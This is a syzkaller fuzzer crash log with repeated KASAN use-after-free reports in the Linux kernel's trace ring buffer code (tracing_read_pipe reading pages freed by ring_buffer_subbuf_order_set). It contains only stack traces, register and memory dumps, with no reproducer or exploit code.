[ 153.094983][ T5916] trace_event_printf+0x110/0x170
[ 153.095003][ T5916] ? add_taint+0x9a/0xe0
[ 153.095023][ T5916] ? __pfx_trace_event_printf+0x10/0x10
[ 153.095046][ T5916] ? trace_raw_output_lock+0xc9/0xd0
[ 153.095073][ T5916] trace_raw_output_lock+0x99/0xd0
[ 153.095090][ T5916] tracing_read_pipe+0x568/0xb50
[ 153.095159][ T5916] ? __pfx_tracing_read_pipe+0x10/0x10
[ 153.095172][ T5916] vfs_read+0x213/0xa80
[ 153.095196][ T5916] ? __pfx___mutex_lock+0x10/0x10
[ 153.095211][ T5916] ? __pfx_vfs_read+0x10/0x10
[ 153.095227][ T5916] ? __fget_files+0x2a/0x420
[ 153.095251][ T5916] ? __fget_files+0x3a2/0x420
[ 153.095276][ T5916] ? __fget_files+0x2a/0x420
[ 153.095305][ T5916] ksys_read+0x150/0x270
[ 153.095323][ T5916] ? __pfx_ksys_read+0x10/0x10
[ 153.095339][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095353][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095366][ T5916] ? rcu_is_watching+0x15/0xb0
[ 153.095380][ T5916] ? trace_syscall_enter+0x5b/0x100
[ 153.095394][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095411][ T5916] do_syscall_64+0x174/0x580
[ 153.095425][ T5916] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095438][ T5916] ? clear_bhb_loop+0x40/0x90
[ 153.095457][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.095469][ T5916] RIP: 0033:0x7fadcfb36d9e
[ 153.095486][ T5916] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 153.095496][ T5916] RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 153.095510][ T5916] RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
[ 153.095518][ T5916] RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
[ 153.095526][ T5916] RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
[ 153.095533][ T5916] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 153.095541][ T5916] R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
[ 153.095573][ T5916] </TASK>
[ 153.095579][ T5916]
[ 153.255910][ T5916] The buggy address belongs to the physical page:
[ 153.259925][ T5916] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
[ 153.266529][ T5916] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 153.269342][ T5916] raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
[ 153.274852][ T5916] raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
[ 153.279959][ T5916] page dumped because: kasan: bad access detected
[ 153.283871][ T5916] page_owner tracks the page as allocated
[ 153.287006][ T5916] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
[ 153.299739][ T5916] post_alloc_hook+0x1f9/0x250
[ 153.302001][ T5916] get_page_from_freelist+0x21fa/0x2270
[ 153.305613][ T5916] __alloc_frozen_pages_noprof+0x18d/0x380
[ 153.309215][ T5916] __alloc_pages_noprof+0x10/0x100
[ 153.312460][ T5916] __rb_allocate_pages+0x9f7/0x1330
[ 153.315966][ T5916] ring_buffer_subbuf_order_set+0x45d/0x14b0
[ 153.318997][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.321056][ T5916] vfs_write+0x296/0xba0
[ 153.323975][ T5916] ksys_write+0x150/0x270
[ 153.327212][ T5916] do_syscall_64+0x174/0x580
[ 153.330310][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.334237][ T5916] page last free pid 5917 tgid 5912 stack trace:
[ 153.337065][ T5916] __free_frozen_pages+0xbdb/0xcb0
[ 153.339108][ T5916] ring_buffer_subbuf_order_set+0xeaa/0x14b0
[ 153.341673][ T5916] buffer_subbuf_size_write+0x1b3/0x250
[ 153.344377][ T5916] vfs_write+0x296/0xba0
[ 153.347648][ T5916] ksys_write+0x150/0x270
[ 153.350697][ T5916] do_syscall_64+0x174/0x580
[ 153.353928][ T5916] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 153.358103][ T5916]
[ 153.359703][ T5916] Memory state around the buggy address:
[ 153.363390][ T5916] ffff888119b6eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.368718][ T5916] ffff888119b6eb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.371749][ T5916] >ffff888119b6ec00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.376834][ T5916] ^
[ 153.380840][ T5916] ffff888119b6ec80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.386122][ T5916] ffff888119b6ed00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 153.391361][ T5916] ==================================================================
TruncatedCrashReport:==================================================================
BUG: KASAN: use-after-free in print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_line+0x60d/0x6a0 kernel/trace/trace.c:3213
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
Read of size 1 at addr ffff888119b6ec26 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
